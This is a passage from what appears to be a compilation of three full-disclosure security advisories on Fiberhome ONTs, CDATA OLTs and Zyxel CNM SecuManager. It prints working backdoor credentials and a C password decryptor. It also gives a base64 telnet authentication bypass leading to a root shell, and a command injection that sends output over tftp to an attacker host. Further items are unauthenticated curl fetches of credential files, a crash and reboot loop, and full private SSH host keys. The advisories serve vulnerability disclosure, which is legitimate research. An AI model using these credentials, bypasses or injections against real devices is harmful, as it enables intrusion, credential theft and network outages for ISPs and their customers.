-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_uni
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_ani
-A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset
-A input_ext_access_telnet_uni -i br0 -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset
Access is allowed:
#iptables-save |grep telnet
:input_ext_access_telnet_ani - [0:0]
:input_ext_access_telnet_uni - [0:0]
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_uni
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_ani
-A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset
The web daemon contains a list of hardcoded credentials, for different ISPs:
br0
interfaceYou can find the incomplete list below:
I really like m3tr0r00t
:)
There are passwords everywhere in the webs
binary (HTTP Server).
These credentials, used with https://ip/fh
will allow to open the access to the CLI telnet on port 23/tcp.
We can find hardcoded credentials inside the webs
binary for TR-069:
telecomadmin
webs
By default, some credentials appear to be encrypted (in /fhconf/umconfig.txt
file).
It is possible to decrypt them using the encryption function found inside the webs binary. This algorithm uses mainly xor with the hardcoded key *j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&^#@$a2s0i3g
so we can encrypt passwords and decrypt "encrypted" passwords:
decrypt_password()
A re-implementation in C can be shown below:
#include <stdio.h> #include <string.h> int main(int argc, char **argv, char **envp) { char key[45] = "*j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&^#@$a2s0i3g"; char password[12] = "\x59\x42\x51\x48\x5d\x13\x4b\x52\x3d\x45\x4d\x00"; //char password[12] = "s(f)u_h+g|u\x00"; unsigned char encrypted_char; for (int i = 0; i < strlen(password); i++) { encrypted_char = password[i] ^ key[i % sizeof(key)]; if (encrypted_char && !(encrypted_char & 0x2000)) printf("%c", encrypted_char); } printf("\n"); return (0); }
And it works:
$ cc decrypt-passwords-umconfig.c -o decrypt-passwords-umconfig && ./decrypt-passwords-umconfig | hexdump -C
00000000 73 28 66 29 75 5f 68 2b 67 7c 75 0a |s(f)u_h+g|u.|
0000000c
Interesting fact: we previously found this hardcoded key in FTTH OLTs from another FTTH vendor:
It appears this key and this algorithm come from GoAhead:
https://github.com/BruceYang-yeu/goahead-1/blob/master/um.c#L51
A hardcoded password for root is being defined inside /etc/init.d/system-config.sh
:
#cat /etc/init.d/system-config.sh
#!/bin/sh
case "$1" in
start)
echo "Configuring system..."
# these are some miscellaneous stuff without a good home
mount -o remount,sync /fhconf
mkdir -p /dev/shm/fhdrv_kdrv_ver_tmp /dev/shm/usr_tmp /fhconf/data
echo "root:W/xa5OyC3jjQU:0:0:root:/:bin/sh" > /etc/passwd
echo "nobody:x:99:99:Nobody:/:/bin/false" >> /etc/passwd
ifconfig lo 127.0.0.1 netmask 255.0.0.0 broadcast 127.255.255.255 up
echo > /var/udhcpd/udhcpd.leases
exit 0
;;
# cat /etc/passwd
root:W/xa5OyC3jjQU:0:0:root:/:bin/sh
nobody:x:99:99:Nobody:/:/bin/false
W/xa5OyC3jjQU
is the DES encrypted data for GEPON
.
This telnet server doesn't run by default but it is possible to start it from the telnet CLI.
telnet on port 23/tcp can be also abused with these credentials:
gpon
/gpon
gpon
Demo:
$ nc -v 192.168.1.1 23
Connection to 192.168.1.1 23 port [tcp/telnet] succeeded!
------acl IP:192.168.1.2 --------
Login: gpon
gpon
Password: gpon
User> enable
enable
Password: gpon
****
Config#
We can retrieve these backdoors by reversing the libci_adaptation_layer.so
library:
addDefualLoginAndUser()
from libci_adaptation_layer.so
For specific ISPs, there are these valid credentials:
admin
/ 4 hexadecimal chars, generated in the init_3bb_password()
function located in libci_adaptation_layer.so
rdsadmin
/ 6GFJdY4aAuUKJjdtSn7d
You can also test gepon
/gepon
(from the firmware extracted in the other analyzed fiberhome device (AN5506-04-FA, firmware RP2631, 4 April 2019)).
The CLI telnet server runs on port 23/tcp and can be reached by (i) adding firewall rules from the HTTP server either using the backdoor API, (ii) using backdoor credentials on the web interface or (iii) exploiting a stack overflow in previous HTTP daemons.
It is also reachable by default over IPv6 on br0
and wan0
interface.
It is possible to start a Linux telnetd as root on port 26/tcp using the CLI interface, as shown below:
User> ddd
WRI(DEBUG_H)> shell
Please use port 26 to telnet
WRI(DEBUG_H)> tshell
Please use port 26 to telnet
shell
and tshell
will call the function enter_telnet_shell()
from libcli_cli.so
, running system("telnet -p 26")
.
This telneld will then use hardcoded credentials.
enter_telnet_shell()
Surprisingly, there is another function called enter_tshell
(for a legacy tshell
) which will run a system("sh")
as root.
This function enter_tshell()
providing a rootshell is not being called from shell
so this looks like dead code:
enter_tshell()
It is possible to bypass telnet authentication by sending a specific string to the remote telnet server:
$ echo 'GgpoZWxwCmxpc3QKd2hvCg==' | base64 -d > bypass-auth-telnet
$ hexdump -C bypass-auth-telnet
00000000 1a 0a 68 65 6c 70 0a 6c 69 73 74 0a 77 68 6f 0a |..help.list.who.|
00000010
$ nc 192.168.1.1 23 < bypass-auth-telnet
------acl IP:192.168.1.2 --------
Login:
User>
User> help
This system provides help feature as described below.
1. Anytime you need help, just press "?" and don't
press Enter,you can see each possible command argument
and its description.
2. You can also input "list" and then press Enter
to execute this helpful command to view the list of
commands you can use.
User> list
0. clear
1. enable
2. exit
3. help
4. list
5. ping {[-t]}*1 {[-count] <1-65535>}*1 {[-size] <1-6400>}*1 {[-waittime] <1-255>}*1 {[-ttl] <1-255>}*1 {[-pattern] <user_pattern>}*1 {[-i] <A.B.C.C>}*1 <A.B.C.D>
6. quit
7. show history
8. show idle-timeout
9. show ip
10. show services
11. show syscontact
12. show syslocation
13. terminal length <0-512>
14. who
15. who am i
User> who
SessionID. - UserName ---------- LOCATION ---------- MODE ----
7 not login 192.168.1.2 not login (That's me.)
Total 1 sessions in current system.
User>
It is possible to use the previous authentication bypass to start a full telnetd server on port 26 and then get a root shell using the password from Telnet server (Linux) - Hardcoded credentials.
By sending ddd
then tshell
, a telnetd will be started on port 26/tcp:
$ echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 &
------acl IP:192.168.1.2 --------
Login:
User>
User> help
This system provides help feature as described below.
1. Anytime you need help, just press "?" and don't
press Enter,you can see each possible command argument
and its description.
2. You can also input "list" and then press Enter
to execute this helpful command to view the list of
commands you can use.
User> list
0. clear
1. enable
2. exit
3. help
$ telnet target 26
Trying target...
Connected to target.
Escape character is '^]'.
(none) login: root
Password: [GEPON]
BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#id
uid=0(root) gid=0 groups=0
The attacker will get a root shell.
It is possible to crash the telnet daemon by sending a specific string:
$ hexdump -C crash-auth-telnet
00000000 1a 0a 65 6e 61 62 6c 65 0a 02 0a 1a 0a |..enable.....|
0000000d
$ nc -v 192.168.1.1 23 < crash-auth-telnet
192.168.1.1: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.1.1] 23 (telnet) open
$ nc -v 192.168.1.1 23 < crash-auth-telnet
192.168.1.1: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [192.168.1.1] 23 (telnet) : Connection refused
This segfault exists inside /fh/extend/load_cli
but was not studied as the previous bypass already worked.
Some credentials are stored in clear-text with permissive rights:
#pwd
/fhconf/fh_wifi
#ls -la
drwxr-xr-x 2 root 0 536 Jan 7 2020 .
drwxr-xr-x 14 root 0 10264 Jan 8 15:29 ..
-rw-r--r-- 1 root 0 118 Jan 1 1970 wifi_custom.cfg
-rw-r--r-- 1 root 0 1212 Jan 7 2020 wifictl_2g.cfg
-rw-r--r-- 1 root 0 1178 Jan 7 2020 wifictl_2g.cfg.bak
-rw-r--r-- 1 root 0 1213 Jan 7 2020 wifictl_5g.cfg
-rw-r--r-- 1 root 0 1208 Jan 7 2020 wifictl_5g.cfg.bak
#cat /fhconf/fh_wifi/wifi_custom.cfg
ssid_2g=[REMOVED]
ssid_5g=[REMOVED]
country=BR
auth=WPAPSKWPA2PSK
encrypt=tkipaes
psk=[REMOVED]
#
#cat wifictl_2g.cfg
[...]
WPAPSK=[REMOVED]
[...]
WEPKey1=[REMOVED]
[...]
WEPKey2=[REMOVED]
[...]
WEPKey3=[REMOVED]
[...]
WEPKey4=[REMOVED]
[...]
RadiusKey=[REMOVED]
#cat wifictl_5g.cfg
SSID=[REMOVED]
[...]
WPAPSK=[REMOVED]
[...]
WEPKey1=[REMOVED]
[...]
WEPKey2=[REMOVED]
[...]
WEPKey3=[REMOVED]
[...]
WEPKey4=[REMOVED]
[...]
RadiusKey=[REMOVED]
Some passwords are stored in clear-text in nvram:
#nvram show
wl0.1_key=1
wl0.1_key1=[REMOVED]
wl0.1_key2=[REMOVED]
wl0.1_key3=[REMOVED]
wl0.1_key4=[REMOVED]
[...]
wl0.1_ssid=[REMOVED]
[...]
wl0.1_wpa_psk=[REMOVED]
[...]
wl0_key1=[REMOVED]
wl0_key2=[REMOVED]
wl0_key3=[REMOVED]
wl0_key4=[REMOVED]
[...]
wl0_ssid=[REMOVED]
[...]
wl0_wpa_psk=[REMOVED]
[...]
[ passwords everywhere removed because of space ]
[...]
I got another Fiberhome device with a different firmware version (AN5506-04-FA, firmware RP2631, 4 April 2019). The HG6245D and the AN5506-04-FA devices share a very similar code base.
The firmware on the AN5506-04-FA device is vulnerable to a remote stack overflow in the webs
process by sending a Cookie value with a length > 511 bytes to any valid asp webpage. This can be triggered using a simple wget command:
$ wget --no-check-certificate -O- --header 'Cookie: loginName=AAAA[511bytes]AAAA' https://192.168.1.1/tr069/tr069.asp
In the HG6245D firmware version RP2602, this vulnerability has been patched by checking the size of values in the cookies, so I was not able to exploit it. You can also read the log file to confirm the length is now checked:
<web_ga>2020-01-08 21:23:12,../thd_ga2_5/webs.c[1375](websParseRequest): Request header param value is too long! key: cookie
It appears it has been patched in the HG6245D router, firmware RP2602. Firmware RP2631 (4 April 2019) for router AN5506-04-FA remains vulnerable. I found no CVE or public research about this vulnerability so it may have been silently patched by the vendor for the HG6245D router.
acl IP:
GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Full-disclosure is applied as it is believed that some backdoors have been intentionally placed by the vendor.
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/advisories/2021-fiberhome-0x00-ont.txt
https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
The CDATA OLTs are OEM FTTH OLTs, sold under different brands (Cdata, OptiLink, BLIY), allowing to provide FTTH connectivity to a large number of clients (using ONTs). Some of the devices support multiple 10-gigabit uplinks and provide Internet connectivity to up to 1024 ONTs (clients).
We validated the vulnerabilities against FD1104B and FD1108SN OLTs in our lab environment with the latest firmware versions (V1.2.2 and 2.4.05_000, 2.4.04_001 and 2.4.03_000).
Using static analysis, these vulnerabilities also appear to affect all available OLT models as the codebase is similar:
From the analyzed binaries, we extracted information about the OEM vendor:
CDATA
Flat 6, Bldg 4,South 2 of Honghualing Industrial Zone, Liuxian Road, Xili Town, Shenzhen, Guangdong, China(518055)
marketing@cdatatec.com
For explanation about FTTH architecture, you can check my previous research at http://pierrekim.github.io/blog/2016-11-01-gpon-ftth-networks-insecurity.html.
The summary of the vulnerabilities is:
A telnet server is running in the appliance and is reachable from the WAN interface and from the FTTH LAN interface (from the ONTs).
Depending on the firmware, the backdoor credentials may change. You can find below a complete list of backdoor (undocumented) credentials, giving an attacker a complete administrator CLI access.
Previous and old versions can be abused with:
login: suma123
password: panger123
New recent versions can be abused with:
login: debug
password: debug124
login: root
password: root126
login: guest
password: [empty]
The credentials have been extracted from old and new firmware images.
About the credentials, it depends on the vendors and the version of the firmware - the appearance of the CLI may be different but the access still works.
Using suma123
/panger123
:
$ telnet [ip]
********************************************************************
Command Line Interface for EPON System
Hardware Ver: V1.2
Software Ver: V1.2.2
Created Time: Mar 12 2018 06:54:24
Copyright (c) 2015-2020 All rights reserved.
********************************************************************
Username:panger123
Password:suma123
Entry Supperuer successfully!
epon@
alarm - setting system alarm
best-sys - configure sys information
epon-workmode - configure EPON working-mode
ethernet-ring - configure rapid ring
igmp-snooping - configure IGMP Snooping
interface - interface type
ipconfig - configure the system IP address
logout - exit the CLI system
mac-address-table - ctrl-card dynamic mac address table management
mirror - configure switch mirror
onu-auth - configure authentication mode for Olt
ping - net ping
port-isolate-group - create port-isolate-group, you must enable port-isolate-mode for group
rmon - configure RMON
rstp - rapid spanning tree protocol configuration
show - show system configuration
system - configure systerm
trunk - enter trunk config mode
undo - delete relational configuration
vlan - enter vlan config mode
epon@
Using guest
/[empty]
:
$ telnet [ip]
********************************************************************
Command Line Interface for EPON System
Hardware Ver: V3.2
Software Ver: 2.4.04_001
Created Time: Nov 27 2017 10:38:49
Copyright (c) 2006-2015 All rights reserved.
********************************************************************
Username:guest
Password:[empty]
epon#
--------------------------------------------------
Local Configuration Command
--------------------------------------------------
--------------------------------------------------
Global Command
--------------------------------------------------
broadcast - Write message to all users logged in
clear - Clear the screen
history - Show command history
logout - Log off this system
ping - Ping a network hosts
show - show system configuration
tracert - trace the route to host
tree - Show command tree
epon# show
--------------------------------------------------
Local Configuration Command
--------------------------------------------------
acl - Show ACL(s)
auth - show olt auth mode
dhcp-snooping - show dhcp snooping configurations
exec-timeout - show cli console timeout
igmp - show igmp snooping configurations
mac-address - mac-address
mac-address-table - show current port's mac address
mirror - show switch mirror configurations
olt - show olt's configuration
onu-position - show the position of onu by mac
qinq - show QinQ configuration
rmon - show RMON
rstp - Display RSTP information
running-config - show current running-configuration
startup-config - show current startup-configuration
swmode - show swmode
swport - display port attribute information
system - show system configuration
trunk - show trunk configuration
vlan - show vlan configuration
web - web server!
epon#
Using root
/root126
:
$ telnet [ip]
********************************************************************
Command Line Interface for EPON System
Hardware Ver: V3.2
Software Ver: 2.4.04_001
Created Time: Nov 27 2017 10:38:49
Copyright (c) 2006-2015 All rights reserved.
********************************************************************
Username:root
Password:root126
epon#
--------------------------------------------------
Local Configuration Command
--------------------------------------------------
acl - Create ACL(s)
acl-del - Delete ACL(s)
auth - configure authentication mode for Olt
btv - btv
cdt-sys - configure sys information
dhcp-snooping - configure DHCP Snooping
exec-timeout - set a timeout value
igmp - configure IGMP Snooping
mac-address - ctrl-card dynamic mac address table management
mirror - configure switch mirror
multicast-vlan - multicast-vlan <mvlan>
no - no
olt - configure OLT
reset - reset the values
rmon - configure RMON
rstp - rapid spanning tree protocol configuration
swmode - set basic switch mode
swport - enter switch port config mode
system - configure systerm
trunk - enter trunk config mode
vlan - enter vlan config mode
--------------------------------------------------
Global Command
--------------------------------------------------
broadcast - Write message to all users logged in
clear - Clear the screen
debug - debug
history - Show command history
logout - Log off this system
ping - Ping a network hosts
show - show system configuration
tracert - trace the route to host
tree - Show command tree
who - Display users currently logged in
epon#
Using debug
/debug124
:
$ telnet [ip]
********************************************************************
Command Line Interface for EPON System
Hardware Ver: V3.2
Software Ver: 2.4.04_001
Created Time: Nov 27 2017 10:38:49
Copyright (c) 2006-2015 All rights reserved.
********************************************************************
Username:debug
Password:debug124
epon#
--------------------------------------------------
Local Configuration Command
--------------------------------------------------
acl - Create ACL(s)
acl-del - Delete ACL(s)
auth - configure authentication mode for Olt
btv - btv
dhcp-snooping - configure DHCP Snooping
exec-timeout - set a timeout value
igmp - configure IGMP Snooping
mac-address - ctrl-card dynamic mac address table management
mirror - configure switch mirror
multicast-vlan - multicast-vlan <mvlan>
no - no
olt - configure OLT
reset - reset the values
rmon - configure RMON
rstp - rapid spanning tree protocol configuration
swmode - set basic switch mode
swport - enter switch port config mode
system - configure systerm
trunk - enter trunk config mode
vlan - enter vlan config mode
--------------------------------------------------
Global Command
--------------------------------------------------
broadcast - Write message to all users logged in
clear - Clear the screen
debug - debug
history - Show command history
logout - Log off this system
ping - Ping a network hosts
show - show system configuration
tracert - trace the route to host
tree - Show command tree
who - Display users currently logged in
epon#
With these access, an attacker can completely overwrite the configuration and overwrite the firmware.
For this part, we suppose the attacker has a working CLI access (which can be achieved using Backdoor access with telnet).
It is possible to extract administrator credentials by running this command in the CLI:
epon# show system infor
Web Server
Version : V1.2.0
BuildTime : 19-04-23
Administrator : LOGIN_CLEAR_TEXT
Password : PASSWORD_CLEAR_TEXT
For this part, we suppose the attacker has a working CLI access (which can be achieved using Backdoor access with telnet).
There is a command injection in the CLI allowing an attacker to execute commands as root.
The command injection is located in the TFTP download configuration part.
In our case, we used metasploit to start a TFTP server on 192.168.1.101 and to receive results of injected commands into this TFTP server:
$ msfconsole -q -x 'use auxiliary/server/tftp; run'
On the OLT:
epon# system configurations download olt 192.168.1.101 "$(cat /proc/cpuinfo > /tmp/test && tftp 192.168.1.101 put /tmp/test test)"
Uncompress file failed!
On the TFTP server running on the attacker machine, we receive the output of the command cat /proc/cpuinfo
:
$ cat /tmp/test
system type : Broadcom BCM956218
processor : 0
cpu model : Broadcom BCM3302 V5.0
BogoMIPS : 299.00
wait instruction : no
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : no
hardware watchpoint : no
ASEs implemented : mips16
VCED exceptions : not available
VCEI exceptions : not available
It is also possible to exfiltrate information using the embedded webserver:
On the OLT:
epon# system configurations download olt 192.168.1.101 "$(export > /opt/lighttpd/web/cgi/out.txt)"
On the attacker machine:
$ curl http://ip/cgi/out.txt
export HOME='/broadcom/'
export OLDPWD='/'
export PATH='/sbin:/usr/sbin:/bin:/usr/bin'
export PWD='/broadcom'
export SHELL='/bin/sh'
export TERM='vt102'
export USER='root'
Futhermore, everything is running as root
in the appliance:
PID USER COMMAND
1 0 init
2 0 [ksoftirqd/0]
3 0 [events/0]
4 0 [khelper]
5 0 [kthread]
6 0 [kblockd/0]
7 0 [sysled]
8 0 [pdflush]
9 0 [pdflush]
10 0 [kswapd0]
11 0 [aio/0]
12 0 [mtdblockd]
13 0 {rcS} /bin/sh /etc/rcS
17 0 [jffs2_gcd_mtd5]
23 0 [bkncmd]
24 0 [bknevt]
26 0 fd1008s.dat
27 0 fd1008s.dat
28 0 fd1008s.dat
29 0 fd1008s.dat
30 0 fd1008s.dat
32 0 fd1008s.dat
33 0 fd1008s.dat
35 0 fd1008s.dat
36 0 fd1008s.dat
37 0 fd1008s.dat
38 0 fd1008s.dat
39 0 fd1008s.dat
40 0 fd1008s.dat
41 0 fd1008s.dat
42 0 fd1008s.dat
43 0 fd1008s.dat
44 0 fd1008s.dat
45 0 fd1008s.dat
46 0 fd1008s.dat
55 0 fd1008s.dat
56 0 fd1008s.dat
57 0 fd1008s.dat
58 0 fd1008s.dat
59 0 fd1008s.dat
60 0 fd1008s.dat
61 0 fd1008s.dat
64 0 fd1008s.dat
65 0 fd1008s.dat
66 0 fd1008s.dat
67 0 fd1008s.dat
68 0 fd1008s.dat
69 0 fd1008s.dat
70 0 fd1008s.dat
71 0 fd1008s.dat
72 0 fd1008s.dat
864 0 sh -c tftp 192.168.1.101 get $(ps a > /tmp/test && tftp 192.168.1.101 put /tmp/test test) /tmp/cfg_download.tar.gz
865 0 sh -c tftp 192.168.1.101 get $(ps a > /tmp/test && tftp 192.168.1.101 put /tmp/test test) /tmp/cfg_download.tar.gz
866 0 ps a
A telnet server is running in the appliance and is reachable from the WAN interface and from the FTTH LAN interface (from the ONTs).
Using our cutting-edge fuzzing technology based on IA, machine-learning and shawarma, we are able to reboot any OLT from this vendor using this command:
$ for i in $(seq 1 10); do cat /dev/urandom | nc 192.168.1.100 23 | hexdump -C;done
The device will reboot in the next 5 seconds and all the LEDs will blink like a Christmas tree!
A web server is running in the appliance and is reachable from the WAN interface and from the FTTH LAN interface (from the ONTs).
Without authentication, an attacker can extract web, telnet credentials and SNMP communities (read and write) by fetching these files:
/opt/lighttpd/web/cgi/snmp_read.txt
/opt/lighttpd/web/cgi/snmp_write.txt
/opt/lighttpd/web/cgi/web_login.txt
/opt/lighttpd/web/cgi/web_passwd.txt
/opt/lighttpd/web/cgi/onu_name.txt
/opt/lighttpd/web/cgi/oem.txt
Using curl
:
$ curl http://ip/cgi/snmp_read.txt
$ curl http://ip/cgi/snmp_write.txt
$ curl http://ip/cgi/oem.txt
$ curl http://ip/cgi/onu_name.txt
$ curl http://ip/cgi/web_passwd.txt
$ curl http://ip/cgi/web_login.txt
A custom encryption algorithm is used to store encrypted passwords. This algorithm will XOR the password with the hardcoded value *j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&^#@$a2s0i3g
as shown below:
By default, the appliance can be managed remotely only with HTTP, telnet and SNMP. It doesn't support SSL/TLS for HTTP or SSH. An attacker can intercept passwords sent in clear-text and MITM the management of the appliance.
EPON System
Optilink GEPON
Full-disclosure is applied as we believe some backdoors are intentionally placed by the vendor.
These vulnerabilities were found by Pierre Kim (@PierreKimSec) and Alexandre Torres.
https://pierrekim.github.io/advisories/2020-cdata-0x00-olt.txt
https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
The Zyxel Cloud CNM SecuManager is a comprehensive network management software that provides an integrated console to monitor and manage security gateways including the ZyWALL USG and VPN Series that can be extended in the future.
Zyxel CNM SecuManager 3.1.0/3.1.1 (Nov 14, 2018) is the latest version.
The summary of the vulnerabilities is:
Technical Note:
The attack surface is very large and many different stacks are being used making it very interesting. Furthermore, some daemons are running as root and are reachable from the WAN. Also, there is no firewall by default.
By default, the appliance uses hardcoded SSH server keys for the main host and for the chroot environments as shown below. This allows an attacker to MITM and decrypt the encrypted traffic:
root@chopin:/etc/ssh# ls -la /etc/ssh/
total 176
drwxr-xr-x 2 root root 4096 Mar 6 2018 .
drwxr-xr-x 77 root root 4096 Dec 20 2019 ..
-rw-r--r-- 1 root root 136156 Jan 26 2018 moduli
-rw-r--r-- 1 root root 1669 Jan 26 2018 ssh_config
-rw-r--r-- 1 root root 2522 Mar 6 2018 sshd_config
-rw------- 1 root root 668 Mar 6 2018 ssh_host_dsa_key
-rw-r--r-- 1 root root 601 Mar 6 2018 ssh_host_dsa_key.pub
-rw------- 1 root root 227 Mar 6 2018 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 173 Mar 6 2018 ssh_host_ecdsa_key.pub
-rw------- 1 root root 1675 Mar 6 2018 ssh_host_rsa_key
-rw-r--r-- 1 root root 393 Mar 6 2018 ssh_host_rsa_key.pub
root@chopin:/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 80:24:2d:f6:66:d4:db:93:10:bd:0b:ef:bf:78:33:12 root@chopin (DSA)
256 04:e0:44:00:20:8a:9f:df:b9:01:4a:ba:b0:55:d6:57 root@chopin (ECDSA)
2048 56:ad:2f:a7:79:83:5b:64:32:d4:05:ce:7a:de:8f:44 root@chopin (RSA)
root@chopin:/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQCdYajCHQF9wLkG+i88infBPbLkhE3cTTRHCbE5/vQ7/SdSdGH7
WlNJh9EkTdz17XDJW53y5IRz8SSxC0M3BXszcGQcHqqTtWVIpv08D5WztWYgQctA
RJDcu1rYZvtPq1qHN6Xo5zbPjvp0JnIT1/SoN1/jB8qIROFNuQPAeBMfiQIVAIqq
ufhcUfFSN4QJmMIgtpB6sCwnAoGBAIokbAVvxkQJX4yUxwBx0xyHydPLVkNggYkU
zfWYGxat4acsIwCAHy50k+oUnFxbVy9kp5YpGjp6uEWLegBIGQNBDxKmORp6Zvq7
MrWMaAL5VK0aJt4DiKQgGz4y2csCwRj6ioifxwBZLXJ+AKv4g7pRwyTDMVl6Gcy/
McgvCePGAoGAGb3elvsIcuDlbiQ3aCohhOpxLcMhgLblRde+eRJJywvKrat4njJd
2jAdVvUA6N76sPaxEPl8oQJiZlA76Qp8G6PMYsjJGsD8olGdjOpMNcDLI9wLgAKS
66DrS4w05RtHV43mb8NAVqC+wxlgwtbY3/A+X0faEOuOkPf3o0UVCi0CFGj4gg+A
+eDbJtE7Lq5vw8qBFHcq
-----END DSA PRIVATE KEY-----
root@chopin:/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEII/rgKz6KXFYu9gjlaasMA7F4fA5bvy5nYFL+GSDVClSoAoGCCqGSM49
AwEHoUQDQgAETS0b/mPZ+x/F5NtfKGOkuMvx3AZL6MW9LkV64igIFgb0kUvoGjXx
f0iXR5Rgtgec6fatdKGYPsRTz3eBzKSNzA==
-----END EC PRIVATE KEY-----
root@chopin:/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3+4JXEBUNFcdux2oS7s2okKtk2UARJurWGs/nYVs+8vFRBVU
2lQqTTZkRTAAOPsDByo77BELr/DcYqtMPXBh3FLftrt5Su9pI04caPbL8BoeoOfq
LUY4nvZfTq/qmClxtp/Azg4Z495vTbMT34llTKcyGIyN7AglESiQ2iKU9BvRAwuN
xxIDBBmGGNSkyWC+T1ZiiuK8cfN5MgVpDyO6HcgJuaKgH8jjcbCUUizmUKJ7495i
itXll2uD6/WNHl8gikRNQBg+3Qpb+BEeTkWzaC+XgLADz+w5GQxreXW4T2yh5vtU
ph9ZT4j8EdEVig72rw6KlGguu6R97UylPHrFMwIDAQABAoIBAADyS53VM8Xo3FpP
HMf9KZTz/THTSnX/xnCgO2uaBcTmrpXEFVC67FbZNQFJ26ZiAThFiG1OASOkO/o6
yR61W+SHgSSPlEqpymL40IvtBx2jrp91e3rnghPB7NMzUSWFf1KLSFBWpOtepE/K
wvm95ey2BDMwXOUzf5yb9EjHvqNtfKVgAqBIM3wdGQ5cN3odYC9hBPVh9SM11IQM
P0fkOPqgMgQWoX7qOGhfx0lGBidq4XATkBikF8saY19Qc9td379UXyXT2rzHV1zq
epD9jbzu41DJ6btZReGU+ZzeFl8JFhxjlKaIObglrRxlKuYA1IE0+B5DgL1CBKcD
ahQVELECgYEA9WW7jDkgy1MTtO9tBM1yuxW7LBwvUkWJQ334IbTcmr2fmBMOZZYl
4gpxblWDCGJ8tkO1AvLopxputuFE1kBHgeXip0UlhYopK5lybXnMyVgHEipNzhsw
0qvgCzk+Cc8FUDsHtm1BJkuZREce50mcbEnTLmtbaod8MNT3AfnGHCsCgYEA6Zrb
jq9faU6FMrPH5BFSeNLVH+FgrmiEVxY8G8mjqThBumY2WIgM/Sg612IJllwYCvq7
PEkyKCBmpKcKM8zICLxM4AUctuPnhwFsVsAHfXu1sRK059US/EdqHdrVf0Eiyzmj
LV3zOSPq28TkvVfNkNSe3y4FXsOhc+G+6QoyjxkCgYEAr4MAfY0KeIHFsX4g0fOD
IG2tfiH2cnhLcVsyUiFCOuZus9zFSkD2fVIMyOYeHqwaGF4ao65KWeHc164MhtRY
kH5z+kDJUlZ7lbRdFBGuNz9fZ02cclIePD8zsbNSPL+1RCnEHWTM2O/vAdeAMdoD
J6wxf5zHOE0ItQBMXjxfxhsCgYAWd4VMOMOlXh7jXHUKEzxqUGSc91EUFQs9UO8h
AQiTesyff7sUUqllI5xdIJmpc1wAmlKtnqCLSWp1xXbuunA2nt2J4hP75vlae6GO
ylMuF1rHF/R8I3r69mdXTbeg0IPnJbjy4QlGYpTw5APXzf0AQ+Kvtj5f+dKqUXjJ
8ugf6QKBgDXRRHhFlFlJcDmMV+USaPfF5dcOpEX1PTxeHIPaFjUGBuq4kcT3NUPa
QJLAS+rg1PMrX6ggStNOSMG2kh7kne2Y38oE0zg9mKnRpP56e9DX/cWF/r1pMSvE
ceH7BAFV9daHQUoz4ljrsJQnvgVT4DTANpw8zB/7bTwBnD519AZB
-----END RSA PRIVATE KEY-----
root@chopin:/etc/ssh#
Same problem inside the "Axess" chroot:
root@chopin:/opt/axess/etc/ssh# ls -la
total 176
drwxr-xr-x 2 root root 4096 Mar 6 2018 .
drwxr-xr-x 81 root root 4096 Mar 6 2018 ..
-rw-r--r-- 1 root root 136156 Mar 6 2018 moduli
-rw-r--r-- 1 root root 1669 Mar 6 2018 ssh_config
-rw-r--r-- 1 root root 2489 Mar 6 2018 sshd_config
-rw-r--r-- 1 root root 668 Mar 6 2018 ssh_host_dsa_key
-rw-r--r-- 1 root root 601 Mar 6 2018 ssh_host_dsa_key.pub
-rw-r--r-- 1 root root 227 Mar 6 2018 ssh_host_ecdsa_key
-rw-r--r-- 1 root root 173 Mar 6 2018 ssh_host_ecdsa_key.pub
-rw-r--r-- 1 root root 1679 Mar 6 2018 ssh_host_rsa_key
-rw-r--r-- 1 root root 393 Mar 6 2018 ssh_host_rsa_key.pub
root@chopin:/opt/axess/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 49:73:d6:b0:8e:c0:de:d5:a4:5d:32:0a:2d:83:d9:2f root@chopin (DSA)
256 53:fa:90:76:ed:9d:bc:28:8c:f4:4c:5e:88:29:f6:85 root@chopin (ECDSA)
2048 a2:59:77:cf:8c:0b:55:c3:53:a6:3a:fd:ac:d7:70:35 root@chopin (RSA)
root@chopin:/opt/axess/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
